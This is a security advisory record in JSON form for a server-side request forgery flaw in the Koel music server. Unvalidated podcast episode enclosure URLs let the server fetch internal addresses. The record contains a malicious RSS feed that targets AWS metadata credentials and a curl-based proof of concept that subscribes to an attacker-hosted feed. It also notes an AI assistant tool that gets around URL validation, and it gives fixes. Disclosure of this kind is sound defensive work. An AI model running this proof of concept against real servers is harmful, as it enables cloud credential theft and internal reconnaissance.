{"id":"GHSA-7j2f-6h2r-6cqc","summary":"Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs","details":"## Summary\n\nKoel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `\u003cenclosure url=\"...\"\u003e` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()-\u003eget()` and streams it back to the user, enabling full-read SSRF against internal services.\n\n---\n\n## Vulnerability Details\n\n### Episode URL Stored Without Validation\n\n**File:** `app/Services/Podcast/PodcastService.php`, line 146\n\n```php\n'path' =\u003e $episodeValue-\u003eenclosure-\u003eurl,  // Unvalidated URL from RSS XML\n```\n\nThe `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is.\n\n### SSRF Trigger: Full Content Download\n\n**File:** `app/Values/Podcast/EpisodePlayable.php`, line 42\n\n```php\nHttp::sink($file)-\u003eget($episode-\u003epath)-\u003ethrow();\n```\n\nWhen an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user.\n\n### SafeUrl Applied Only to Feed URL\n\n**File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php`\n\n```php\npublic function rules(): array\n{\n    return ['url' =\u003e ['required', 'url:http,https', new SafeUrl]];\n}\n```\n\nThe `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.\n\n---\n\n## Attack Flow\n\n1. Attacker registers an account (Community edition, no Plus required)\n2. Attacker hosts a malicious RSS feed on a public server:\n   ```xml\n   \u003crss version=\"2.0\"\u003e\n     \u003cchannel\u003e\n       \u003ctitle\u003eLegit Podcast\u003c/title\u003e\n       \u003citem\u003e\n         \u003ctitle\u003eEpisode 1\u003c/title\u003e\n         \u003cenclosure url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                    type=\"audio/mpeg\" length=\"1000\"/\u003e\n         \u003cguid\u003essrf-1\u003c/guid\u003e\n       \u003c/item\u003e\n     \u003c/channel\u003e\n   \u003c/rss\u003e\n   ```\n3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` — passes `SafeUrl` (public URL)\n4. Koel parses feed, stores episode with `path = http://169.254.169.254/...`\n5. Attacker plays episode: `GET /play/{episode_id}`\n6. Server executes `Http::sink($file)-\u003eget(\"http://169.254.169.254/...\")`\n7. AWS metadata response downloaded to disk, streamed back to attacker\n\n---\n\n## Proof of Concept\n\n```bash\n#!/bin/bash\n# PoC: Koel SSRF via Podcast Episode Enclosure URL\n# Step 1: Host malicious RSS feed (feed.xml) on attacker server\n# Step 2: Subscribe to the podcast\n\nKOEL_URL=\"https://TARGET\"\nAPI_TOKEN=\"\u003capi_token\u003e\"\n\n# Subscribe to malicious podcast\ncurl -X POST \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://attacker.com/feed.xml\"}'\n\n# List episodes to get the episode ID\nEPISODE_ID=$(curl -s \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" | jq -r '.[0].episodes[0].id')\n\n# Play the episode — triggers SSRF, returns internal service response\ncurl \"$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN\" -o response.bin\n\ncat response.bin\n# Expected: AWS metadata / internal service response\n```\n\n---\n\n## Impact\n\n- **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)\n- **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services\n- **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces\n- **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker\n\n---\n\n## Secondary Finding: SSRF Bypass via AI Radio Station Tool\n\n**File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38\n\nThe AI assistant's `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint.\n\n**Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH.\n\n---\n\n## Novelty Check\n\n- **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web)\n- **No SECURITY.md** in the repository\n- **This is a novel vulnerability**\n\n---\n\n## Remediation\n\n**Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`:\n\n```php\nforeach ($episodeCollection as $episodeValue) {\n    $enclosureUrl = $episodeValue-\u003eenclosure-\u003eurl;\n    $host = parse_url($enclosureUrl, PHP_URL_HOST);\n    if (!$host || !Network::isPublicHost($host)) {\n        continue; // Skip episodes with non-public URLs\n    }\n    // ... rest of episode creation\n}\n```\n\n**Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`.\n\n**Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.","aliases":["CVE-2026-47260"],"modified":"2026-09-10T03:50:46.273295305Z","published":"2026-05-29T19:56:06Z","database_specific":{"github_reviewed_at":"2026-05-29T19:56:06Z","nvd_published_at":"2026-06-12T20:16:46Z","cwe_ids":["CWE-918"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47260"},{"type":"WEB","url":"https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"},{"type":"WEB","url":"https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf"},{"type":"PACKAGE","url":"https://github.com/koel/koel"}],"affected":[{"package":{"name":"phanan/koel","ecosystem":"Packagist","purl":"pkg:composer/phanan/koel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.3.5"}]}],"versions":["1.0.0-beta","v0.0.0-beta","v1.1.1","v1.1.2","v2.0.0","v2.0.1","v2.0.2","v2.1.0","v2.2.0","v2.2.1","v3.0.0","v3.0.1","v3.1.0","v3.1.1","v3.2.0","v3.3.0","v3.3.1","v3.4.0","v3.4.1","v3.5.0","v3.5.1","v3.5.2","v3.5.3","v3.5.4","v3.5.5","v3.6.0","v3.6.1","v3.6.2","v3.7.0","v3.7.1","v3.7.2","v4.0.0","v4.1.0","v4.1.1","v4.2.0","v4.2.1","v4.2.2","v4.3.0","v4.3.1","v4.4.0","v5.0.0","v5.0.1","v5.0.2","v5.1.0","v5.1.1","v5.1.10","v5.1.11","v5.1.12","v5.1.13","v5.1.14","v5.1.2","v5.1.3","v5.1.4","v5.1.5","v5.1.6","v5.1.7","v5.1.8","v5.1.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.0.6","v6.1.0","v6.10.0","v6.11.0","v6.11.1","v6.11.2","v6.11.3","v6.11.4","v6.11.5","v6.12.0","v6.12.1","v6.2.0","v6.2.1","v6.2.2","v6.3.0","v6.4.0","v6.4.1","v6.4.2","v6.4.3","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.7.4","v6.7.5","v6.8.0","v6.8.1","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.9.0","v7.0.0","v7.0.1","v7.0.10","v7.0.11","v7.0.12","v7.0.2","v7.0.3","v7.0.4","v7.0.5","v7.0.6","v7.0.7","v7.0.8","v7.0.9","v7.1.0","v7.10.0","v7.10.1","v7.10.2","v7.10.3","v7.10.4","v7.11.0","v7.12.0","v7.13.0","v7.14.0","v7.15.0","v7.15.1","v7.2.0","v7.2.1","v7.2.2","v7.3.0","v7.3.1","v7.4.0","v7.4.1","v7.4.2","v7.5.0","v7.5.1","v7.5.2","v7.6.0","v7.6.1","v7.6.2","v7.6.3","v7.7.0","v7.7.1","v7.8.0","v7.8.1","v7.9.0","v8.0.0","v8.1.0","v8.2.0","v8.3.0","v8.3.1","v9.0.0","v9.1.0","v9.1.1","v9.1.2","v9.2.0","v9.2.1","v9.3.0","v9.3.1","v9.3.2","v9.3.3","v9.3.4"],"database_specific":{"last_known_affected_version_range":"\u003c= 9.3.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7j2f-6h2r-6cqc/GHSA-7j2f-6h2r-6cqc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}